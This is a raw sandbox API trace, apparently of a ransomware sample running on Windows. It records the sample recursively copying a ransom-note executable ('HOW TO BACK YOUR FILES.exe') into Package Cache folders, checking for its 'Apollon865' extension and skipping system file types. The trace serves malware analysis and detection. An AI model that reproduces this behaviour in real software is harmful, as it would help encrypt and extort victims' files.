	[0038.956] lstrlenW (lpString=".ini") returned 4
	[0038.956] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0038.956] lstrlenW (lpString=".sys") returned 4
	[0038.956] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0038.956] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0038.957] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0038.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0c0 | out: hHeap=0x580000) returned 1
	[0038.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0038.957] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83
	[0038.957] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0038.957] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.961] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.961] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.962] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.962] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.962] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0038.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x59a0c0
	[0038.962] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0038.962] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.962] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.962] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0038.962] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0038.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0c0 | out: hHeap=0x580000) returned 1
	[0038.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0038.962] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 92
	[0038.962] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0038.962] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.962] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.968] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.968] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.969] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.969] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.969] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0038.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0038.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x59a0c0
	[0038.969] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0038.969] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.969] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.969] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0038.969] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0038.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0c0 | out: hHeap=0x580000) returned 1
	[0038.969] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0038.969] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 115
	[0038.969] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0038.969] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.975] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.976] lstrcpyW (in: lpString1=0x2d3e638, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.976] lstrlenW (lpString="cab1.cab") returned 8
	[0038.976] lstrlenW (lpString="Apollon865") returned 10
	[0038.976] lstrlenW (lpString=".dll") returned 4
	[0038.976] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.976] lstrlenW (lpString=".lnk") returned 4
	[0038.976] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.976] lstrlenW (lpString=".ini") returned 4
	[0038.976] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.976] lstrlenW (lpString=".sys") returned 4
	[0038.976] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.976] lstrlenW (lpString="cab1.cab") returned 8
	[0038.976] lstrcpyW (in: lpString1=0x2d3e638, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0038.976] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.976] lstrlenW (lpString="Apollon865") returned 10
	[0038.976] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0038.976] lstrlenW (lpString=".dll") returned 4
	[0038.976] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0038.976] lstrlenW (lpString=".lnk") returned 4
	[0038.976] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0038.976] lstrlenW (lpString=".ini") returned 4
	[0038.976] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0038.976] lstrlenW (lpString=".sys") returned 4
	[0038.976] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0038.976] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0038.977] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0038.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a010 | out: hHeap=0x580000) returned 1
	[0038.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0038.977] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83
	[0038.977] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0038.977] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.977] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.981] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.981] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.982] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0038.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x59a010
	[0038.982] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0038.982] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.982] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.982] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0038.982] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0038.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a010 | out: hHeap=0x580000) returned 1
	[0038.982] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0038.982] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 92
	[0038.982] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0038.982] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.982] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.986] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.986] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.987] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.987] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.987] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0038.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0038.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xea) returned 0x59a010
	[0038.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0038.987] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.987] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.987] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0038.987] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0038.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a010 | out: hHeap=0x580000) returned 1
	[0038.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0038.987] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 116
	[0038.987] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0038.987] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.987] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.993] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.993] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.993] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.993] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.993] lstrcpyW (in: lpString1=0x2d3e63a, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.993] lstrlenW (lpString="cab1.cab") returned 8
	[0038.994] lstrlenW (lpString="Apollon865") returned 10
	[0038.994] lstrlenW (lpString=".dll") returned 4
	[0038.994] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.994] lstrlenW (lpString=".lnk") returned 4
	[0038.994] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.994] lstrlenW (lpString=".ini") returned 4
	[0038.994] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.994] lstrlenW (lpString=".sys") returned 4
	[0038.994] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.994] lstrlenW (lpString="cab1.cab") returned 8
	[0038.994] lstrcpyW (in: lpString1=0x2d3e63a, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0038.994] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.994] lstrlenW (lpString="Apollon865") returned 10
	[0038.994] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0038.994] lstrlenW (lpString=".dll") returned 4
	[0038.994] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0038.994] lstrlenW (lpString=".lnk") returned 4
	[0038.994] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0038.994] lstrlenW (lpString=".ini") returned 4
	[0038.994] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0038.994] lstrlenW (lpString=".sys") returned 4
	[0038.994] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0038.994] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0038.994] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0038.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0038.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
